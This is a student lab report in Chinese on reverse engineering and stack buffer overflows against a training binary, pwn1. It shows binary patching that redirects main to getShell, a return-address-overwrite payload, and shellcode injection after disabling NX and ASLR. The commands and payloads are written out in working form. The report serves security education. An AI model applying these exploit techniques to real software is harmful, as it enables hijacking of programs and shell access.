20242315 2025-2026-1 《网络与系统攻防技术》实验0x11 逆向与Bof基础 实验报告
20242315 2025-2026-1 《网络与系统攻防技术》实验0x11 逆向与Bof基础 实验报告
姓名: 张冠伦(zhangguanlun)
学号: 20242315
实验日期: 2026-10-10
实验环境: Kali Linux(32 位 ELF)、VMware 虚拟机
目录
1. 基础知识
这次实验主要用到下面这些知识,我简单总结一下。
1.1 ELF 文件格式
Linux 下的可执行文件是 ELF 格式,里面有:
- ELF Header(
7f 45 4c 46) - Program Header Table
- Section Header Table
.text:代码段,只读可执行.rodata:只读数据.data:已初始化全局变量.bss:未初始化全局变量
1.2 call 指令与 EIP
call 指令的机器码是 e8 加上 4 字节的小端相对偏移。
跳转目标 = 下一条指令地址 + 相对偏移。
例如:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
d7 ff ff ff 是补码 -0x29,下一条指令地址 0x80484ba 加上 -0x29 就得到 0x8048491。
1.3 小端字节序
x86 是小端模式,0x0804847d 在内存里存成 7d 84 04 08,所以 BOF 覆盖返回地址的时候要写成 \x7d\x84\x04\x08。
1.4 常见汇编指令机器码
| 指令 | 机器码 |
|---|---|
| NOP | 90 |
| JMP 短跳 | EB xx |
| JMP 近跳 | E9 xx xx xx xx |
| JE/JZ 短跳 | 74 xx |
| JE/JZ 近跳 | 0F 84 xx xx xx xx |
| JNE/JNZ 短跳 | 75 xx |
| JNE/JNZ 近跳 | 0F 85 xx xx xx xx |
| CMP eax, imm32 | 3D xx xx xx xx |
1.5 payload 与 shellcode
- shellcode:一段可注入执行的机器指令,比如
execve("/bin/sh")。 - payload:攻击输入的整体布局,里面包含填充、返回地址、NOP 滑行区和 shellcode。
2. 实验内容
本次实验对象是 pwn1,一个 32 位 Linux 可执行文件。它有三个函数:main、foo、getShell。
正常流程是 main 调用 foo,foo 回显输入;getShell 会返回一个 Shell,但正常情况下不会被调用。
实验要完成三个任务:
| 任务 | 内容 | 关键方法 |
|---|---|---|
| 任务一 | 直接修改 pwn1 的机器指令 |
把 main 中 call foo 改成 call getShell |
| 任务二 | 利用 foo 的 BOF 漏洞 |
构造输入覆盖返回地址,触发 getShell |
| 任务三 | 注入自己构造的 shellcode | RNS 布局,运行任意代码 |
另外还要了解 Bof 攻击的防御技术,比如 Stack Canary、DEP/NX、ASLR 这些。
3. 实验过程
3.1 任务一:直接修改机器指令
(1)准备文件
先把文件复制过来,加上学号,并确认类型。
cd ~/exp0x11
cp ~/Desktop/pwn1 ./pwn1_20242315
cp pwn1_20242315 pwn2_20242315
chmod +x pwn1_20242315 pwn2_20242315
file pwn1_20242315

(2)修改前反汇编
objdump -d pwn1_20242315 | grep -A 6 "<main>"
可以看到:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
(3)用 Python 修改字节
把 e8 d7 ff ff ff 改成 e8 c3 ff ff ff,因为 0x0804847d - 0x80484ba = -0x3d,补码小端是 c3 ff ff ff。
python3 -c "
data = open('pwn1_20242315','rb').read()
data = data.replace(b'\xe8\xd7\xff\xff\xff', b'\xe8\xc3\xff\xff\xff')
open('pwn2_20242315','wb').write(data)
print('替换成功')
"
(4)验证修改结果
objdump -d pwn2_20242315 | grep -A 6 "<main>"
应看到:
80484b5: e8 c3 ff ff ff call 804847d <getShell>
(5)运行验证
./pwn2_20242315
ls
exit
成功拿到 Shell,ls 能看到文件列表。

3.2 任务二:BOF 覆盖返回地址
(1)gdb 确认覆盖位置
gdb pwn1_20242315
r < input_test
info r
quit
input_test 是 40 个字符的测试串。运行后崩溃,eip 是 0x35353535,说明第 33~36 个字符覆盖了返回地址。

(2)构造 payload
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_bof_20242315
xxd input_bof_20242315
xxd 显示末尾是 7d84 0408 0a,payload 正确。

(3)注入并拿 Shell
(cat input_bof_20242315; cat) | ./pwn1_20242315
ls
exit
成功进入 Shell,ls 列出文件。

3.3 任务三:注入 Shellcode
(1)关闭防护
execstack -s pwn1_20242315
execstack -q pwn1_20242315
cat /proc/sys/kernel/randomize_va_space
由于 Kali 里 execstack 已经没了,我用了:
patchelf --set-execstack pwn1_20242315
readelf -l pwn1_20242315 | grep GNU_STACK
确认 GNU_STACK 为 RWE。ASLR 显示为 0。

(2)gdb attach 查找真实栈地址
# 终端A启动
(cat input_rns_20242315; cat) | ./pwn1_20242315
# 终端B查找PID并attach
ps -ef | grep pwn1_20242315
gdb
attach PID
break *0x080484ae
continue
info r esp
x/16x $esp
得到 esp = 0xffffcf2c,esp+4 处是 0x90909090(NOP 滑行区)。

(3)gdb 中继续执行
continue
输出 process XXXXX is executing new program: /usr/bin/dash,说明 shellcode 成功执行,拿到 Shell。

(4)终端直接运行 RNS payload
(cat input_rns_20242315; cat) | ./pwn1_20242315
ls
exit
成功进入 Shell,ls 列出文件。

(5)NSR 布局失败记录
(cat input_nsr_20242315; cat) | ./pwn1_20242315
运行后出现 Segmentation fault。

gdb 单步定位:
si
...
info r esp
执行到 0x01020304 处崩溃,说明 NSR 布局中返回地址占位无效。

4. 问题及解决方案
问题 1: 粘贴命令时带入隐藏字符 ^[[200~,导致 zsh: bad pattern 错误。
解决方案: 改成手动输入命令,不要直接复制粘贴。
问题 2: execstack 命令未找到,Kali 源里已经移除了这个包。
解决方案: 改用 patchelf --set-execstack pwn1_20242315,用 readelf -l 确认 GNU_STACK 为 RWE。
问题 3: 任务三 NSR 布局失败,报 Segmentation fault。
解决方案: 分析原因是 shellcode 放在返回地址前面(低地址),执行到 push %ebx 时 esp 向上增长与代码区重叠,push 覆盖了还没执行的指令。改用 RNS 布局,把 shellcode 放到返回地址后面(高地址),就成功了。
问题 4: 任务三 RNS 布局首次地址不准,报 Cannot access memory。
解决方案: 用 gdb attach 重新获取真实 esp,把返回地址设成 esp+4(NOP 滑行区起始),重新生成 payload 后成功。
5. 学习感悟、思考等
这次实验让我真正搞懂了栈溢出的原理。任务三的 NSR 布局失败后,通过 gdb 单步 si 跟踪到 push %ebx 时 esp 与代码区重叠,才明白为什么 shellcode 要放在返回地址后面。虽然过程比较折腾,但最后成功拿到 shell,对 BOF 攻击和防御技术都有了更深的理解。
通过亲手关闭 Canary、NX、ASLR 这些防护并完成攻击,我认识到这些机制在真实环境里有多重要。一旦防护关闭,攻击者可以轻易劫持程序执行流;而在默认开启防护的系统中,攻击难度会大很多。这让我更加重视安全编码和系统加固。
浙公网安备 33010602011771号